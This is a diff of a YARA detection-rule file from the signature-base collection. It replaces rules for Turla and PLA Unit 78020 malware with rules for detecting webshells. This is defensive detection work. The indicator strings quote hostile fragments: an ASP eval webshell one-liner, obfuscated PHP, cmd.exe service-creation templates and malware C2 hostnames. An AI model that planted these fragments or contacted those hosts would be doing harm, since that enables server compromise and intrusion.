-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "62c65a5c85930dd2a928508401113ffba28bc6a07188d9bf5c68234bea10e1aa"
-		score = 90
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L507-L520"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d141e011a92f48da72728c35f1934a2b"
+		logic_hash = "524419e802d3cb6ac310565af22ec28044984aa4b1b2ee1cfbd292afd071709c"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
-		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
-		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
-		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Internal command not support =((" ascii
-		$x2 = "L|-1|AS_CUR_USER:OpenProcessToken():%d, %s|" fullword ascii
-		$x3 = "L|-1|CreateProcessAsUser():%d, %s|" fullword ascii
-		$x4 = "AS_CUR_USER:OpenProcessToken():%d" fullword ascii
-		$x5 = "L|-1|AS_CUR_USER:LogonUser():%d, %s|" fullword ascii
-		$x6 = "L|-1|try to run dll %s with user priv|" fullword ascii
-		$x7 = "\\\\.\\Global\\PIPE\\sdlrpc" fullword ascii
-		$x8 = "\\\\%s\\pipe\\comnode" fullword ascii
-		$x9 = "Plugin dll stop failed." fullword ascii
-		$x10 = "AS_USER:LogonUser():%d" fullword ascii
-		$s1 = "MSIMGHLP.DLL" fullword wide
-		$s2 = "msimghlp.dll" fullword ascii
-		$s3 = "ximarsh.dll" fullword ascii
-		$s4 = "msximl.dll" fullword ascii
-		$s5 = "INTERNAL.dll" fullword ascii
-		$s6 = "\\\\.\\Global\\PIPE\\" ascii
-		$s7 = "ieuser.exe" fullword ascii
+		$s0 = "D,'PrjknD,J~[,EdnMP[,-4;DS6@#@&VKobx2ldd,'~JhC"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 5 of ($s*))) or (10 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turla_APT_Malware_Gen3 : TURLA FILE
+rule SIGNATURE_BASE_Webshell_Drag_System
 {
 	meta:
-		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		description = "Web Shell - file system.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8cb7d873-e4f9-553e-84e8-dbc0d31f65ab"
-		date = "2016-06-09"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L110-L150"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8c24cf71841efc974c8a4d8eb5662137592c1d454821c9beadc50d83cb19333c"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L521-L534"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "15ae237cf395fb24cf12bff141fb3f7c"
+		logic_hash = "8ea8d9d64521f47f1396e4f4d6c8f4a71fa1a643799ec408e1d2e0f255dc4996"
+		score = 70
 		quality = 85
-		tags = "TURLA, FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		family = "Turla"
-		hash1 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
-		hash2 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
-		hash3 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
-		hash4 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
-		hash5 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
-		hash6 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
-		hash7 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
-		hash8 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
-		hash9 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
 
 	strings:
-		$x1 = "\\\\.\\pipe\\sdlrpc" fullword ascii
-		$x2 = "WaitMutex Abandoned %p" fullword ascii
-		$x3 = "OPER|Wrong config: no port|" fullword ascii
-		$x4 = "OPER|Wrong config: no lastconnect|" fullword ascii
-		$x5 = "OPER|Wrong config: empty address|" fullword ascii
-		$x6 = "Trans task %d obj %s ACTIVE fail robj %s" fullword ascii
-		$x7 = "OPER|Wrong config: no auth|" fullword ascii
-		$x8 = "OPER|Sniffer '%s' running... ooopppsss...|" fullword ascii
-		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Post Platform" fullword ascii
-		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Pre Platform" fullword ascii
-		$s3 = "www.yahoo.com" fullword ascii
-		$s4 = "MSXIML.DLL" fullword wide
-		$s5 = "www.bing.com" fullword ascii
-		$s6 = "%s: http://%s%s" fullword ascii
-		$s7 = "/javascript/view.php" fullword ascii
-		$s8 = "Task %d failed %s,%d" fullword ascii
-		$s9 = "Mozilla/4.0 (compatible; MSIE %d.0; " fullword ascii
+		$s9 = "String sql = \"SELECT * FROM DBA_TABLES WHERE TABLE_NAME not like '%$%' and num_"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 6 of ($s*))) or (10 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turla_Mal_Script_Jan18_1 : FILE
+rule SIGNATURE_BASE_Webshell_Darkblade1_3_Asp_Indexx
 {
 	meta:
-		description = "Detects Turla malicious script"
+		description = "Web Shell - file indexx.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4b550b3c-182c-5dc0-b2d2-13925c22be81"
-		date = "2018-01-19"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://ghostbin.com/paste/jsph7"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L152-L169"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2386abf8afdf8ed9cfd55cb3dcbb998eb732744c601fd9af701cf64c366a0e62"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L535-L548"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b7f46693648f534c2ca78e3f21685707"
+		logic_hash = "57cfe09d53d42ee9d909a3894b8a3362209c1972c7d96ae5fdc61681c2998a89"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "180b920e9cea712d124ff41cd1060683a14a79285d960e17f0f49b969f15bfcc"
 
 	strings:
-		$s1 = ".charCodeAt(i % " ascii
-		$s2 = "{WScript.Quit();}" fullword ascii
-		$s3 = ".charAt(i)) << 10) |" ascii
-		$s4 = " = WScript.Arguments;var " ascii
-		$s5 = "= \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";var i;" ascii
+		$s3 = "Const strs_toTransform=\"command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCou"
 
 	condition:
-		filesize <200KB and 2 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turla_Kazuarrat : FILE
+rule SIGNATURE_BASE_Webshell_Phpshell3
 {
 	meta:
-		description = "Detects Turla Kazuar RAT described by DrunkBinary"
-		author = "Markus Neis / Florian Roth"
-		id = "147cc7b7-6dbd-51a2-9501-bcbaec32e20e"
-		date = "2018-04-08"
+		description = "Web Shell - file phpshell3.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/DrunkBinary/status/982969891975319553"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L173-L192"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d7f15fe8e33a9e3516eab5c3c5664aeee25d1d153f01b888a50dd2accba432ca"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L549-L564"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "76117b2ee4a7ac06832d50b2d04070b8"
+		logic_hash = "868b1b69fab3ec6fcfa15557075f313f4af0ec9cd15f41bb9dcc9bc26fc17f93"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "6b5d9fca6f49a044fd94c816e258bf50b1e90305d7dab2e0480349e80ed2a0fa"
-		hash2 = "7594fab1aadc4fb08fb9dbb27c418e8bc7f08dadb2acf5533dc8560241ecfc1d"
-		hash3 = "4e5a86e33e53931afe25a8cb108f53f9c7e6c6a731b0ef4f72ce638d0ea5c198"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "~1.EXE" wide
-		$s2 = "dl32.dll" fullword ascii
-		$s3 = "HookProc@" ascii
-		$s4 = "0`.wtf" fullword ascii
+		$s2 = "<input name=\"nounce\" type=\"hidden\" value=\"<?php echo $_SESSION['nounce'];"
+		$s5 = "<p>Username: <input name=\"username\" type=\"text\" value=\"<?php echo $userna"
+		$s7 = "$_SESSION['output'] .= \"cd: could not change to: $new_dir\\n\";" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and (pe.imphash()=="682156c4380c216ff8cb766a2f2e8817" or 2 of them )
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Turla_Agent_BTZ : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Hsxa
 {
 	meta:
-		description = "Detects Turla Agent.BTZ"
+		description = "Web Shell - file hsxa.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bd642f11-19f6-5178-b978-1215215fea86"
-		date = "2018-04-12"
-		modified = "2023-01-06"
-		reference = "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L195-L226"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3a091d29ef5981b9ab9c0e4114fef9de70acbcbc8ea8518183a567459e1086fa"
-		score = 90
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L565-L578"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d0e05f9c9b8e0b3fa11f57d9ab800380"
+		logic_hash = "7f79b66d87f638bc09ee576de4dc4a8c5b1da7c406d318eeff7a4221c35d2313"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "c4a1cd6916646aa502413d42e6e7441c6e7268926484f19d9acbf5113fc52fc8"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s" fullword ascii
-		$x3 = "mstotreg.dat" fullword ascii
-		$x4 = "Bisuninst.bin" fullword ascii
-		$x5 = "mfc42l00.pdb" fullword ascii
-		$x6 = "ielocal~f.tmp" fullword ascii
-		$s1 = "%s\\1.txt" fullword ascii
-		$s2 = "%windows%" fullword ascii
-		$s3 = "%s\\system32" fullword ascii
-		$s4 = "\\Help\\SYSTEM32\\" ascii
-		$s5 = "%windows%\\mfc42l00.pdb" ascii
-		$s6 = "Size of log(%dB) is too big, stop write." fullword ascii
-		$s7 = "Log: Size of log(%dB) is too big, stop write." fullword ascii
-		$s8 = "%02d.%02d.%04d Log begin:" fullword ascii
-		$s9 = "\\system32\\win.com" ascii
+		$s0 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%><jsp:directive.page import=\"ja"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 4 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Turla_Sample_May18_1 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Utils
 {
 	meta:
-		description = "Detects Turla samples"
+		description = "Web Shell - file utils.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5052838f-a895-55cb-abcf-813465074127"
-		date = "2018-05-03"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/omri9741/status/991942007701598208"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L228-L250"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f5bb26bc787acb89fe5a337121aabc0cd15ed3fd5cbe64ef4e7031e04dc14fb1"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L579-L593"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9827ba2e8329075358b8e8a53e20d545"
+		logic_hash = "90a5b64e59306bdffc5a89f5d86a2dc7a17669021d863e2a5ecea13d65c19053"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4c49c9d601ebf16534d24d2dd1cab53fde6e03902758ef6cff86be740b720038"
-		hash2 = "77cbd7252a20f2d35db4f330b9c4b8aa7501349bc06bbcc8f40ae13d01ae7f8f"
 
 	strings:
-		$x1 = "sc %s create %s binPath= \"cmd.exe /c start %%SystemRoot%%\\%s\">>%s" fullword ascii
-		$x2 = "cmd.exe /c start %%SystemRoot%%\\%s" fullword ascii
-		$x3 = "cmd.exe /c %s\\%s -s %s:%s:%s -c \"%s %s /wait 1\">>%s" fullword ascii
-		$x4 = "Read InjectLog[%dB]********************************" fullword ascii
-		$x5 = "%s\\System32\\011fe-3420f-ff0ea-ff0ea.tmp" fullword ascii
-		$x6 = "**************************** Begin ini %s [%d]***********************************************" fullword ascii
-		$x7 = "%s -o %s -i %s -d exec2 -f %s" fullword ascii
-		$x8 = "Logon to %s failed: code %d(User:%s,Pass:%s)" fullword ascii
-		$x9 = "system32\\dxsnd32x.exe" fullword ascii
+		$s0 = "ResultSet r = c.getMetaData().getTables(null, null, \"%\", t);" fullword
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and 1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_LNX_Turla_Apr20_1 : FILE
+rule SIGNATURE_BASE_Webshell_Asp_01
 {
 	meta:
-		description = "Detects Turla Linux malware"
+		description = "Web Shell - file 01.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f21e7793-a7dd-5195-805d-963827b35808"
-		date = "2020-04-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/Int2e_/status/1246115636331319309"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L252-L272"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d463f5a151bb0c3440d719b4c7c0d1ca34de1e0bed7fb9167ecf396607abd3ff"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L594-L607"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "61a687b0bea0ef97224c7bd2df118b87"
+		logic_hash = "e057800013a9a8f4c3ecbe4e27c14e904700548e6ad9dc1f00313c7a3de7fd2d"
+		score = 50
 		quality = 85
-		tags = "FILE"
-		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
-		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "/root/.hsperfdata" ascii fullword
-		$s2 = "Desc|     Filename     |  size  |state|" ascii fullword
-		$s3 = "IPv6 address %s not supported" ascii fullword
-		$s4 = "File already exist on remote filesystem !" ascii fullword
-		$s5 = "/tmp/.sync.pid" ascii fullword
-		$s6 = "'gateway' supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel" ascii fullword
+		$s0 = "<%eval request(\"pass\")%>" fullword
 
 	condition:
-		uint16(0)==0x457f and filesize <5000KB and 4 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_Tinyturla_Sep21_1 : FILE
+rule SIGNATURE_BASE_Webshell_Asp_404
 {
 	meta:
-		description = "Detects Tiny Turla backdoor DLL"
-		author = "Cisco Talos"
-		id = "19659ac7-310a-52dd-a94c-022c7add752b"
-		date = "2021-09-21"
+		description = "Web Shell - file 404.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://blog.talosintelligence.com/2021/09/tinyturla.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla.yar#L275-L295"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ede598374bc4a8a870aa29498be4200b4a3d7b289dfcb680fb3f91108d212bca"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L608-L621"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d9fa1e8513dbf59fa5d130f389032a2d"
+		logic_hash = "3db951af36ed3d08bc10b4c3fc2e67481f005580fb76f66b6ec5789ed6e2efdb"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "030cbd1a51f8583ccfc3fa38a28a5550dc1c84c05d6c0f5eb887d13dedf1da01"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "Title: " fullword wide
-		$b = "Hosts" fullword wide
-		$c = "Security" fullword wide
-		$d = "TimeLong" fullword wide
-		$e = "TimeShort" fullword wide
-		$f = "MachineGuid" fullword wide
-		$g = "POST" fullword wide
-		$h = "WinHttpSetOption" fullword ascii
-		$i = "WinHttpQueryDataAvailable" fullword ascii
+		$s0 = "lFyw6pd^DKV^4CDRWmmnO1GVKDl:y& f+2"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <25KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CN_Unit78020_Sep15 : FILE
+rule SIGNATURE_BASE_Webshell_Webshell_Cnseay02_1
 {
 	meta:
-		description = "Detects malware used by Unit78020"
+		description = "Web Shell - file webshell-cnseay02-1.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d26d401f-3806-5a0b-bdb3-87d5d8af209c"
-		date = "2015-09-24"
-		modified = "2023-01-31"
-		old_rule_name = "Unit78020_Malware_Gen1"
-		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unit78020_malware.yar#L8-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "85244d4e2b9e03fa4ab8268ffbedffb839bca598b1e863d3d0b3914294d3ddf0"
-		score = 80
-		quality = 83
-		tags = "FILE"
-		hash1 = "2b15e614fb54bca7031f64ab6caa1f77b4c07dac186826a6cd2e254090675d72"
-		hash2 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
-		hash3 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
-		hash4 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
-		hash5 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
-		hash6 = "88c5be84afe20c91e4024160303bafb044f98aa5fbf8c9f9997758a014238790"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L622-L635"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "95fc76081a42c4f26912826cb1bd24b1"
+		logic_hash = "9950fb7c26dfb25665093dbcf5c4a9dcf65466783509a3caa11c2c96d177d855"
+		score = 70
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "greensky27.vicp.net" fullword wide
-		$x2 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
-		$x3 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
-		$x4 = "serch.vicp.net" fullword wide
-		$x5 = "greensky27.vicp.net" fullword wide
-		$x6 = "greensky27.vicp.net.as" fullword wide
-		$x7 = "greensky27.vcip.net" fullword wide
-		$x8 = "pnoc-ec.vicp.net" fullword wide
-		$x9 = "aseanph.vicp.net" fullword wide
-		$x10 = "pnoc.vicp.net" fullword wide
-		$sa1 = "dMozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0; .NET CLR 1.1.4322)" wide fullword
-		$sa2 = "x-www-form-urlencoded/r/n" wide fullword
-		$sa3 = "/%d%s%d" ascii fullword
-		$sa4 = "dMozilla" wide fullword
-		$sa5 = "Accept-Language:En-us" wide fullword
-		$sb1 = "%USERPROFILE%\\Application Data\\Mozilla\\Firefox\\Profiles" wide fullword
-		$sb2 = "\\Office Start.lnk" wide fullword
-		$sb3 = "%02d-%02d-%02d %02d:%02d" wide fullword
-		$sc1 = "\\MSN Talk Start.lnk" wide fullword
-		$sc2 = "-GetModuleFileNameExW" ascii fullword
-		$sc3 = "dwError1 = %d" ascii fullword
+		$s0 = "(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or all of ($sa*) or all of ($sb*) or all of ($sc*))
+		all of them
 }
-rule SIGNATURE_BASE_Unit78020_Malware_1 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Fbi
 {
 	meta:
-		description = "Detects malware by Chinese APT PLA Unit 78020 - Specific Rule - msictl.exe"
+		description = "Web Shell - file fbi.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0374de68-98cb-5cb8-a936-fe7845de9330"
-		date = "2015-09-24"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unit78020_malware.yar#L60-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a93d01f1cc2d18ced2f3b2b78319aadc112f611ab8911ae9e55e13557c1c791a"
-		logic_hash = "589dfb39630fd396b1f8c5d9d0ecccfc058edfd8e74e3bd06d1bfb9f91ad1798"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L636-L649"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1fb32f8e58c8deb168c06297a04a21f1"
+		logic_hash = "de8584ae83ee3e23f4ce00ccd73f75b4568d6a4544af45b83784a9a0c34d42e3"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%ProgramFiles%\\Internet Explorer\\iexplore.exe" fullword ascii
-		$s2 = "msictl.exe" fullword ascii
-		$s3 = "127.0.0.1:8080" fullword ascii
-		$s4 = "mshtml.dat" fullword ascii
-		$s5 = "msisvc" fullword ascii
-		$s6 = "NOKIAN95/WEB" fullword ascii
+		$s7 = "erde types','Getallen','Datum en tijd','Tekst','Binaire gegevens','Netwerk','Geo"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <160KB and 4 of them
+		all of them
 }
-rule SIGNATURE_BASE_Unit78020_Malware_Gen2 : FILE
+rule SIGNATURE_BASE_Webshell_B374Kphp_B374K
 {
 	meta:
-		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule"
+		description = "Web Shell - file B374k.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9492b1f8-c2a9-5e3b-ad62-fbc3d99392b3"
-		date = "2015-09-24"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unit78020_malware.yar#L80-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fd3cb904499a985830543174126761a3cdcff134d61b93b1105a489c00bd042f"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L650-L666"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
